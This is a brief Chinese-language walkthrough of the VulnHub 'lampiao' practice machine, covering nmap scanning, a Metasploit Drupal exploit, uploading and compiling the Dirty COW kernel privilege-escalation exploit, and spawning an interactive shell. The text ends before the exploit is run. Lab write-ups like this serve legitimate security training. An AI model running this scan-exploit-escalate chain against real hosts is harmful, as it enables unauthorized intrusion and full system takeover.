vulnhub-lampiao（linux脏牛提权）

环境准备

1. 靶机-lampiao
2. 攻击机-kali

演示

使用nmap探测内网网络，我这里使用NAT网络，网段为192.168.116.0/24

nmap 192.168.116.0/24

发现192.168.116.136存活，扫描全端口

nmap -p 1-65535 192.168.116.136

 访问1898端口发现为drupal

使用msf来进行攻击

search drupal

 

 这里使用模块1，use 1，配置参数

 权限为www-data权限，上传提权脚本

https://github.com/gbonacini/CVE-2016-5195

 上传命令

upload /root/cve-2016-5195/dcow.cpp /tmp/dcow.cpp

编译脚本

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

之后切换到bash shell下执行

python -c 'import pty; pty.spawn("/bin/bash")'